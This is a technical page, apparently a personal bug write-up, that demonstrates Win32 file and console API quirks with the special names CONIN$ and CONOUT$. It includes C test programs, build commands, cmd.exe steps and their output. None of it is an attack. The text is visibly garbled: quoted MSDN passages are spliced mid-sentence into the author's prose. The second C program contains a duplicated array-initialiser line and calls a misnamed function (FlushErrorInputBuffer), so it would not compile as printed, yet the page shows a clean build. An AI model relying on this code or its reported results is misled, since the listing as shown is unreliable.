Note: the MSDN article Naming Files, Paths, and Namespaces fails to define the namesThe CreateFile function can create a handle to console input (CONIN$). If the process has an open handle to it as a result of inheritance or duplication, it can also create a handle to the active screen buffer (CONOUT$). The calling process must be attached to an inherited console or one allocated by the AllocConsole function. For console handles, set the CreateFile parameters as follows.
Parameters Value lpFileName Use the CONIN$ value to specify console input.
Use the CONOUT$ value to specify console output.CONIN$ gets a handle to the console input buffer, even if the SetStdHandle function redirects the standard input handle. To get the standard input handle, use the GetStdHandle function.
CONOUT$ gets a handle to the active screen buffer, even if SetStdHandle redirects the standard output handle. To get the standard output handle, use GetStdHandle
dwDesiredAccess GENERIC_READ | GENERIC_WRITE
is preferred, but either one can limit access.dwShareMode When opening CONIN$, specify FILE_SHARE_READ. When opening CONOUT$, specify FILE_SHARE_WRITE. If the calling process inherits the console, or if a child process should be able to access the console, this parameter must be
FILE_SHARE_READ | FILE_SHARE_WRITE
.lpSecurityAttributes If you want the console to be inherited, the bInheritHandle member of the SECURITY_ATTRIBUTES structure must be TRUE. dwCreationDisposition You should specify OPEN_EXISTING when using CreateFile to open the console. dwFlagsAndAttributes Ignored. hTemplateFile Ignored.
CONIN$
and
CONOUT$
as reserved or special.
The MSDN article Console Handles specifies:
GetFileType
can assist in determining what device type the handle refers to. A
console handle presents as FILE_TYPE_CHAR
.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const LPCWSTR szBlunder[3] = {L"CONIN$", L"CONOUT$", L"CONERR$"};
const LPCWSTR szFileType[4] = {L"FILE_TYPE_UNKNOWN",
L"FILE_TYPE_DISK",
L"FILE_TYPE_CHAR",
L"FILE_TYPE_PIPE"};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
WCHAR szModule[MAX_PATH];
DWORD dwModule;
DWORD dwError = ERROR_SUCCESS;
DWORD dwBlunder = 0UL;
HANDLE hBlunder;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
do
PrintConsole(hError,
L"GetFileAttributes() returned attributes 0x%08lX for \'%ls\'\n",
GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
dwModule = GetModuleFileName((HMODULE) NULL,
szModule,
sizeof(szModule) / sizeof(*szModule));
if (dwModule == 0UL)
PrintConsole(hError,
L"GetModuleFileName() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError, L"\n");
dwBlunder = 0UL;
do
if (!CopyFile(szModule,
szBlunder[dwBlunder],
FALSE))
PrintConsole(hError,
L"CopyFile() returned error %lu for target file \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
else
{
PrintConsole(hError,
L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
if (!DeleteFile(szBlunder[dwBlunder]))
PrintConsole(hError,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
}
while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
if (!CopyFile(szModule,
szBlunder[2],
FALSE))
PrintConsole(hError,
L"CopyFile() returned error %lu for target file \'%ls\'\n",
dwError = GetLastError(), szBlunder[2]);
else
if (!MoveFile(szBlunder[2],
szBlunder[1]))
{
PrintConsole(hError,
L"MoveFile() returned error %lu for target file \'%ls\'\n",
dwError = GetLastError(), szBlunder[1]);
if (!DeleteFile(szBlunder[2]))
PrintConsole(hError,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder[2]);
}
else
{
PrintConsole(hError,
L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
GetFileAttributes(szBlunder[1]), szBlunder[1]);
if (!MoveFile(szBlunder[1],
szBlunder[0]))
{
PrintConsole(hError,
L"MoveFile() returned error %lu for target file \'%ls\'\n",
dwError = GetLastError(), szBlunder[0]);
if (!DeleteFile(szBlunder[1]))
PrintConsole(hError,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder[1]);
}
else
{
PrintConsole(hError,
L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
GetFileAttributes(szBlunder[0]), szBlunder[0]);
if (!DeleteFile(szBlunder[0]))
PrintConsole(hError,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder[0]);
}
}
}
PrintConsole(hError, L"\n");
dwBlunder = 0UL;
do
if (!CreateDirectory(szBlunder[dwBlunder],
(LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hError,
L"CreateDirectory() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
else
{
PrintConsole(hError,
L"GetFileAttributes() returned attributes 0x%08lX for directory \'%ls\'\n",
GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
hBlunder = CreateFile(szBlunder[dwBlunder],
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_EXISTING,
FILE_FLAG_BACKUP_SEMANTICS,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
PrintConsole(hError,
L"CreateFile() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
else
{
PrintConsole(hError,
L"GetFileType() returned %ls for directory \'%ls\'\n",
szFileType[GetFileType(hBlunder)], szBlunder[dwBlunder]);
if (!CloseHandle(hBlunder))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (!RemoveDirectory(szBlunder[dwBlunder]))
PrintConsole(hError,
L"RemoveDirectory() returned error %lu for directory \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
}
while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
PrintConsole(hError, L"\n");
dwBlunder = 0UL;
do
{
hBlunder = CreateFile(szBlunder[dwBlunder],
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
CREATE_NEW,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
PrintConsole(hError,
L"CreateFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
else
{
PrintConsole(hError,
L"GetFileAttributes() returned attributes 0x%08lX for file \'%ls\'\n",
GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
PrintConsole(hError,
L"GetFileType() returned %ls for file \'%ls\'\n",
szFileType[GetFileType(hBlunder)], szBlunder[dwBlunder]);
if (!CloseHandle(hBlunder))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
if (!DeleteFile(szBlunder[dwBlunder]))
PrintConsole(hError,
L"DeleteFile() returned error %lu for file \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
}
}
while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
if (dwModule != 0UL)
{
PrintConsole(hError, L"\n");
dwBlunder = 0UL;
do
if (!CreateHardLink(szBlunder[dwBlunder],
szModule,
(LPSECURITY_ATTRIBUTES) NULL))
PrintConsole(hError,
L"CreateHardLink() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
else
{
PrintConsole(hError,
L"GetFileAttributes() returned attributes 0x%08lX for hardlink \'%ls\'\n",
GetFileAttributes(szBlunder[dwBlunder]), szBlunder[dwBlunder]);
hBlunder = CreateFile(szBlunder[dwBlunder],
GENERIC_READ | GENERIC_WRITE,
FILE_SHARE_READ | FILE_SHARE_WRITE,
(LPSECURITY_ATTRIBUTES) NULL,
OPEN_EXISTING,
FILE_ATTRIBUTE_NORMAL,
(HANDLE) NULL);
if (hBlunder == INVALID_HANDLE_VALUE)
PrintConsole(hError,
L"CreateFile() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
else
{
PrintConsole(hError,
L"GetFileType() returned %ls for hardlink \'%ls\'\n",
szFileType[GetFileType(hBlunder)], szBlunder[dwBlunder]);
if (!CloseHandle(hBlunder))
PrintConsole(hError,
L"CloseHandle() returned error %lu\n",
dwError = GetLastError());
}
if (!DeleteFile(szBlunder[dwBlunder]))
PrintConsole(hError,
L"DeleteFile() returned error %lu for hardlink \'%ls\'\n",
dwError = GetLastError(), szBlunder[dwBlunder]);
}
while (++dwBlunder < sizeof(szBlunder) / sizeof(*szBlunder));
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1.:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
VER .\blunder.exe DIR CON*$ .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL% ERASE CON*$
Microsoft Windows [Version 6.1.7601] GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONIN$' GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONOUT$' GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONERR$' CopyFile() returned error 6 for target file 'CONIN$' CopyFile() returned error 5 for target file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$' GetFileAttributes() returned attributes 0x00000010 for directory 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONIN$' GetFileAttributes() returned attributes 0x00000010 for directory 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONOUT$' GetFileAttributes() returned attributes 0x00000010 for directory 'CONERR$' GetFileType() returned FILE_TYPE_DISK for directory 'CONERR$' GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$' DeleteFile() returned error 2 for file 'CONIN$' GetFileAttributes() returned attributes 0xFFFFFFFF for file 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$' DeleteFile() returned error 2 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for file 'CONERR$' GetFileType() returned FILE_TYPE_DISK for file 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONIN$' DeleteFile() returned error 5 for hardlink 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for hardlink 'CONOUT$' DeleteFile() returned error 5 for hardlink 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for hardlink 'CONERR$' CreateFile() returned error 32 for hardlink 'CONERR$' DeleteFile() returned error 5 for hardlink 'CONERR$' Volume in drive C has no label. Volume Serial Number is 1957-0427 Directory of C:\Users\Stefan\Desktop 04/27/2011 08:15 PM 8,704 CONERR$ 04/27/2011 08:15 PM 8,704 CONIN$ 04/27/2011 08:15 PM 8,704 CONOUT$ 3 File(s) 26,112 bytes 2 Dir(s) 9,876,543,210 bytes free GetFileAttributes() returned attributes 0x00000020 for 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for 'CONERR$' CopyFile() returned error 6 for target file 'CONIN$' CopyFile() returned error 5 for target file 'CONOUT$' CopyFile() returned error 32 for target file 'CONERR$' CreateDirectory() returned error 183 for directory 'CONIN$' CreateDirectory() returned error 183 for directory 'CONOUT$' CreateDirectory() returned error 183 for directory 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$' DeleteFile() returned error 5 for file 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$' DeleteFile() returned error 5 for file 'CONOUT$' CreateFile() returned error 80 for file 'CONERR$' CreateHardLink() returned error 183 for hardlink 'CONIN$' CreateHardLink() returned error 183 for hardlink 'CONOUT$' CreateHardLink() returned error 183 for hardlink 'CONERR$' 0xb7 (WIN32: 183 ERROR_ALREADY_EXISTS) -- 183 (183) Error message text: Cannot create a file when that file already exists. CertUtil: -error command completed successfully.OUCH¹: the Win32 function
GetFileAttributes()
succeeds for files and directories with the special names
CONIN$
and CONOUT$
!
OUCH²: while the Win32 function
CopyFile()
fails properly with Win32 error code 6 alias
ERROR_INVALID_HANDLE
for CONIN$
and Win32 error code 5 alias
ERROR_ACCESS_DENIED
for CONOUT$
, the Win32 function
MoveFile()
but succeeds!
OUCH³: the Win32 function
CreateDirectory()
creates directories with the special names CONIN$
and
CONOUT$
, and the Win32 function
RemoveDirectory()
removes them!
OUCH⁴: the Win32 function
CreateHardLink()
creates hardlinks files with the special names
CONIN$
and CONOUT$
, and the
Win32 function
DeleteFile()
deletes them!
OOPS: the Win32 function
CreateFile()
does not open an existing
directory or file with the special name CONIN$
or
CONOUT$
, but opens the console input buffer
respectively the console screen buffer instead!
�
VER .\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL% ERASE CON*$
Microsoft Windows [Version 10.0.22000.739] GetFileAttributes() returned attributes 0x00000020 for 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for 'CONOUT$' GetFileAttributes() returned attributes 0xFFFFFFFF for 'CONERR$' CopyFile() returned error 6 for target file 'CONIN$' MZ[…]This program cannot be run in DOS mode. […] GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' DeleteFile() returned error 5 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00002020 for file 'CONERR$' MoveFile() returned error 183 for target file 'CONOUT$' GetFileAttributes() returned attributes 0x00000020 for directory 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONIN$' RemoveDirectory() returned error 5 for directory 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for directory 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for directory 'CONOUT$' RemoveDirectory() returned error 5 for directory 'CONOUT$' GetFileAttributes() returned attributes 0x00002010 for directory 'CONERR$' GetFileType() returned FILE_TYPE_DISK for directory 'CONERR$' GetFileAttributes() returned attributes 0x00000020 for file 'CONIN$' GetFileType() returned FILE_TYPE_CHAR for file 'CONIN$' DeleteFile() returned error 5 for file 'CONIN$' GetFileAttributes() returned attributes 0x00000020 for file 'CONOUT$' GetFileType() returned FILE_TYPE_CHAR for file 'CONOUT$' DeleteFile() returned error 5 for file 'CONOUT$' GetFileAttributes() returned attributes 0x00002020 for file 'CONERR$' GetFileType() returned FILE_TYPE_DISK for file 'CONERR$' CreateHardLink() returned error 17 for hardlink 'CONIN$' CreateHardLink() returned error 17 for hardlink 'CONOUT$' GetFileAttributes() returned attributes 0x00002020 for hardlink 'CONERR$' CreateFile() returned error 32 for hardlink 'CONERR$' 0x20 (WIN32: 32 ERROR_SHARING_VIOLATION) -- 32 (32) Error message text: The process cannot access the file because it is being used by another process. CertUtil: -error command completed successfully.
CopyFile2()
,
CopyFileEx()
,
CopyFileTransacted()
,
CreateDirectoryEx()
,
CreateDirectoryTransacted()
,
CreateFile2()
,
CreateFileTransacted()
,
CreateHardLinkTransacted()
,
CreateSymbolicLink()
,
CreateSymbolicLinkTransacted()
,
DeleteFileTransacted()
,
GetFileAttributesEx()
,
GetFileAttributesTransacted()
,
MoveFileEx()
,
MoveFileTransacted()
,
MoveFileWithProgress()
,
RemoveDirectoryTransacted()
and
ReplaceFile()
is left as an exercise to the reader.
Note: a repetition of this demonstration in the 64-bit execution environment is left as an exercise to the reader.
Cmd.exe
and execute
the following command lines to show the blunder:
VER ECHO Step 1: create files CONERR$, CONIN$ and CONOUT$ COPY "%COMSPEC%" CONERR$ COPY "%COMSPEC%" CONIN$ COPY "%COMSPEC%" CONOUT$ ECHO Step 2: rename file CONERR$ to CONIN$ to CONOUT$ to CONERR$ RENAME CONERR$ CONIN$ RENAME CONIN$ CONOUT$ RENAME CONOUT$ CONERR$ ECHO Step 3: move file CONERR$ to CONIN$ to CONOUT$ to CONERR$ MOVE CONERR$ CONIN$ MOVE CONIN$ CONOUT$ MOVE CONOUT$ CONERR$ ECHO Step 4: create hardlinks CONIN$ and CONOUT$ MKLINK /H CONIN$ CONERR$ MKLINK /H CONOUT$ CONIN$ DIR CON*$ ECHO Step 5: execute CONIN$ and CONOUT$ .\CONIN$ .\CONOUT$ ECHO Step 6: overwrite CONIN$ and CONOUT$ COPY CONERR$ CONIN$ COPY CONERR$ CONOUT$ DIR CON*$ ERASE CONOUT$ ECHO Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both MKDIR CONIN$ COPY CONERR$ CONIN$ ERASE CONIN$\CONERR$ RMDIR CONIN$ ECHO Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both MKDIR CONOUT$ COPY CONERR$ CONOUT$ ERASE CONOUT$\CONERR$ RMDIR CONOUT$ ECHO Step 9: cleanup ERASE CONERR$Note: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft Windows [Version 6.1.7601]
Step 1: create files CONERR$, CONIN$ and CONOUT$
1 file(s) copied.
Access denied
0 file(s) copied.
The handle is invalid.
0 file(s) copied.
Step 2: rename file CONERR$ to CONOUT$ to CONIN$ to CONERR$
Step 3: move file CONERR$ to CONOUT$ to CONIN$ to CONERR$
1 file(s) moved.
1 file(s) moved.
Step 4: create hardlinks CONIN$ and CONOUT$
Hardlink created for CONIN$ <<===>> CONERR$
Hardlink created for CONOUT$ <<===>> CONIN$
Volume in drive C has no label.
Volume Serial Number is 1957-0427
Directory of C:\Users\Stefan\Desktop
06/12/2016 05:55 AM 345,088 CONERR$
06/12/2016 05:55 AM 345,088 CONIN$
06/12/2016 05:55 AM 345,088 CONOUT$
3 File(s) 1,035,264 bytes
2 Dir(s) 9,876,543,210 bytes free
Step 5: execute CONIN$ and CONOUT$
'.\CONIN$' is not recognized as an internal or external command,
operable program or batch file.
'.\CONOUT$' is not recognized as an internal or external command,
operable program or batch file.
Step 6: overwrite CONIN$ and CONOUT$
The handle is invalid.
0 file(s) copied.
MZ[…]This program cannot be run in DOS mode.
[…]
Volume in drive C has no label.
Volume Serial Number is 1957-0427
Directory of C:\Users\Stefan\Desktop
06/12/2016 05:55 AM 345,088 CONERR$
06/12/2016 05:55 AM 345,088 CONOUT$
3 File(s) 690,176 bytes
2 Dir(s) 9,876,543,210 bytes free
Step 7: create subdirectory CONIN$, copy file CONERR$ into it, then erase both
1 file(s) copied.
Step 8: create subdirectory CONOUT$, copy file CONERR$ into it, then erase both
1 file(s) copied.
Step 9: cleanup
OOPS¹: while the internal
Copy
command fails to create files CONIN$
and
CONOUT$
, the internal
Rename
alias
Ren
,
Move
and
Mklink
commands but succeed!
OUCH: although the files CONIN$
and
CONOUT$
exist (and are copies of the command processor)
the command processor fails to execute them!
OOPS²: if a file CONIN$
exists,
the internal
Copy
command deletes it!
OOPS³: if a file CONOUT$
exists,
the internal
Copy
command writes to the console screen buffer!
OOPS⁴: the internal
Md
alias
MkDir
command creates directories CONIN$
and
CONOUT$
!
OOPS⁵: if a directory CONIN$
exists, the internal
Copy
command succeeds!
OOPS⁶: if a directory CONOUT$
exists, the internal
Copy
command succeeds!
ReadConsole()
states:
Reads character input from the console input buffer and removes it from the buffer.The documentation for the Win32 function[…]BOOL ReadConsole( [in] HANDLE hConsoleInput, [out] LPVOID lpBuffer, [in] DWORD nNumberOfCharsToRead, [out] LPDWORD lpNumberOfCharsRead, [in, optional] LPVOID pInputControl );
lpBuffer [out]
A pointer to a buffer that receives the data read from the console input buffer.nNumberOfCharsToRead [out]
The number of characters to be read. […]pInputControl [in, optional]
A pointer to a CONSOLE_READCONSOLE_CONTROL structure that specifies a control character to signal the end of the read operation. This parameter can be NULL.Remarks
ReadConsole reads keyboard input from a console's input buffer. It behaves like the ReadFile function, […]
ReadFile()
states:
Reads data from the specified file or input/output (I/O) device. Reads occur at the position specified by the file pointer if supported by the device.[…]BOOL ReadFile( [in] HANDLE hFile, [out] LPVOID lpBuffer, [in] DWORD nNumberOfBytesToRead, [out, optional] LPDWORD lpNumberOfBytesRead, [in, out, optional] LPOVERLAPPED lpOverlapped );
Remarks
Characters can be read from the console input buffer by using ReadFile with a handle to console input. The console mode determines the exact behavior of the ReadFile function. By default, the console mode is ENABLE_LINE_INPUT, which indicates that ReadFile should read until it reaches a carriage return. If you press Ctrl+C, the call succeeds, but GetLastError returns ERROR_OPERATION_ABORTED.
Create the text file blunder.c
with the following
content in an arbitrary, preferable empty directory:
// Copyright © 2004-2025, Stefan Kanthak <stefan.kanthak@nexgo.de>
#define STRICT
#define UNICODE
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
__declspec(safebuffers)
BOOL CDECL PrintConsole(HANDLE hConsole, [SA_FormatString(Style="printf")] LPCWSTR lpFormat, ...)
{
WCHAR szOutput[1024];
DWORD dwOutput;
DWORD dwConsole;
va_list vaInput;
va_start(vaInput, lpFormat);
dwOutput = wvsprintf(szOutput, lpFormat, vaInput);
va_end(vaInput);
if (dwOutput == 0UL)
return FALSE;
if (!WriteConsole(hConsole, szOutput, dwOutput, &dwConsole, NULL))
return FALSE;
return dwConsole == dwOutput;
}
const INPUT_RECORD irInput[] = {{KEY_EVENT, {TRUE, L'\0', VK_PACKET, L'\0', L'€', 0UL}},
{KEY_EVENT, {FALSE, L'\0', VK_PACKET, L'\0', L'€', 0UL}},
{KEY_EVENT, {TRUE, L'\0', VK_RETURN, L'\0', L'\r', 0UL}}};
{KEY_EVENT, {FALSE, L'\0', VK_RETURN, L'\0', L'\r', 0UL}}};
__declspec(noreturn)
VOID CDECL wmainCRTStartup(VOID)
{
DWORD dwCount;
DWORD dwError = ERROR_SUCCESS;
DWORD dwInput;
WCHAR szInput[sizeof(irInput) / sizeof(*irInput)];
HANDLE hInput;
HANDLE hError = GetStdHandle(STD_ERROR_HANDLE);
if (hError == INVALID_HANDLE_VALUE)
dwError = GetLastError();
else
{
hInput = GetStdHandle(STD_INPUT_HANDLE);
if (hInput == INVALID_HANDLE_VALUE)
PrintConsole(hError,
L"GetStdHandle() returned error %lu\n",
dwError = GetLastError());
else
{
if (!FlushErrorInputBuffer(hInput))
PrintConsole(hError,
L"FlushConsoleInputBuffer() returned error %lu\n",
dwError = GetLastError());
else
{
#ifndef BLUNDER
if (!WriteConsoleInput(hInput,
irInput,
sizeof(irInput) / sizeof(*irInput),
&dwInput))
PrintConsole(hError,
L"WriteConsoleInput() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError,
L"WriteConsoleInput() wrote %lu of %lu input records\n",
dwInput, sizeof(irInput) / sizeof(*irInput));
if (!ReadConsole(hInput, szInput, sizeof(szInput) / sizeof(*szInput), &dwInput, NULL))
PrintConsole(hError,
L"ReadConsole() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError,
L"ReadConsole() read %lu characters: \'%lc\' ",
dwCount = dwInput, *szInput);
for (dwInput = 0UL; dwInput < dwCount; dwInput++)
PrintConsole(hError,
L"%lc U+%04hX",
dwInput == 0UL ? L'=' : L',', szInput[dwInput]);
if (!WriteConsole(hError, L"\n", 1UL, (LPDWORD) NULL, NULL))
PrintConsole(hError,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
}
}
if (!WriteConsoleInput(hInput,
irInput,
sizeof(irInput) / sizeof(*irInput),
&dwInput))
PrintConsole(hError,
L"WriteConsoleInput() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError,
L"WriteConsoleInput() wrote %lu of %lu input records\n",
dwInput, sizeof(irInput) / sizeof(*irInput));
if (!ReadFile(hInput, szInput, sizeof(szInput), &dwInput, (LPOVERLAPPED) NULL))
PrintConsole(hError,
L"ReadFile() returned error %lu\n",
dwError = GetLastError());
else
{
PrintConsole(hError,
L"ReadFile() read %lu characters: \'%hc\' ",
dwCount = dwInput, *szInput);
for (dwInput = 0UL; dwInput < dwCount; dwInput++)
PrintConsole(hError,
L"%lc \\x%02X",
dwInput == 0UL ? L'=' : L',', ((LPCSTR) szInput)[dwInput]);
if (!WriteConsole(hError, L"\n", 1UL, (LPDWORD) NULL, NULL))
PrintConsole(hError,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
}
}
#else // BLUNDER
if (!WriteConsole(hError,
L"Press CTRL+C or ENTER to continue: ",
sizeof("Press CTRL+C or ENTER to continue: ") - 1,
(LPDWORD) NULL,
NULL))
PrintConsole(hError,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (!ReadConsole(hInput, NULL, 0UL, &dwInput, NULL))
PrintConsole(hError,
L"ReadConsole() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"ReadConsole() read %lu characters\n",
dwInput);
if (!WriteConsole(hError,
L"Press CTRL+C or ENTER to continue: ",
sizeof("Press CTRL+C or ENTER to continue: ") - 1,
(LPDWORD) NULL,
NULL))
PrintConsole(hError,
L"WriteConsole() returned error %lu\n",
dwError = GetLastError());
else
if (!ReadFile(hInput, NULL, 0UL, &dwInput, (LPOVERLAPPED) NULL))
PrintConsole(hError,
L"ReadFile() returned error %lu\n",
dwError = GetLastError());
else
PrintConsole(hError,
L"ReadFile() read %lu characters\n",
dwInput);
#endif // BLUNDER
}
}
}
ExitProcess(dwError);
}
Compile and link the source file blunder.c
created in
step 1. a first time:
SET CL=/W4 /Zl SET LINK=/ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE CL.EXE blunder.c kernel32.lib user32.libNote: the command lines can be copied and pasted as block into a Command Processor window.
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 2. and evaluate its exit code:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
WriteConsoleInput() wrote 4 of 4 input records
€
ReadConsole() read 3 characters: '€' = U+20AC, U+000D, U+000A
WriteConsoleInput() wrote 4 of 4 input records
€
ReadFile() read 3 characters: '?' = \x3F, \x0D, \x0A
0x0 (WIN32: 0 ERROR_SUCCESS) -- 0 (0)
Error message text: The operation completed successfully.
CertUtil: -error command completed successfully.
OUCH¹: contrary to the second highlighted
statement of its documentation cited above, the
ReadConsole()
function does not (mis)behave like the
ReadFile()
function – the latter fails to read at least
the € sign and yields the substitution character
?
instead!
Compile and link the source file blunder.c
created in
step 1. a second time, now with the preprocessor macro
BLUNDER
defined:
CL.EXE /DBLUNDER blunder.c kernel32.lib user32.lib
Microsoft (R) 32-bit C/C++ Optimizing Compiler Version 16.00.40219.01 for 80x86 Copyright (C) Microsoft Corporation. All rights reserved. blunder.c blunder.c(42) : warning C4101: 'szInput' : unreferenced local variable blunder.c(39) : warning C4101: 'dwCount' : unreferenced local variable Microsoft (R) Incremental Linker Version 10.00.40219.386 Copyright (C) Microsoft Corporation. All rights reserved. /ENTRY:wmainCRTStartup /NODEFAULTLIB /SUBSYSTEM:CONSOLE /out:blunder.exe blunder.obj kernel32.lib user32.lib
Execute the console application blunder.exe
built in
step 4. a first time and answer its prompt(s) with the
Enter key:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Press CTRL+C or ENTER to continue:
ReadConsole() read 0 characters
Press CTRL+C or ENTER to continue: ReadFile() returned error 998
0x3e6 (WIN32: 998 ERROR_NOACCESS) -- 998 (998)
Error message text: Invalid access to memory location.
CertUtil: -error command completed successfully.
OUCH²: contrary to the second highlighted
statement of its documentation cited above, the
ReadConsole()
function does not (mis)behave like the
ReadFile()
function – the latter fails with Win32 error code
998 alias
ERROR_NOACCESS
when called with buffer address NULL
and buffer size 0!
Execute the console application blunder.exe
built in
step 4. a second time, but answer its prompt(s) with the
Ctrl C keyboard
shortcut:
.\blunder.exe CERTUTIL.EXE /ERROR %ERRORLEVEL%
Press CTRL+C or ENTER to continue: ReadConsole() read 0 characters
Press CTRL+C or ENTER to continue: ^C
0xc000013a (NT: 0xc000013a STATUS_CONTROL_C_EXIT) -- 3221225786 (-1073741510)
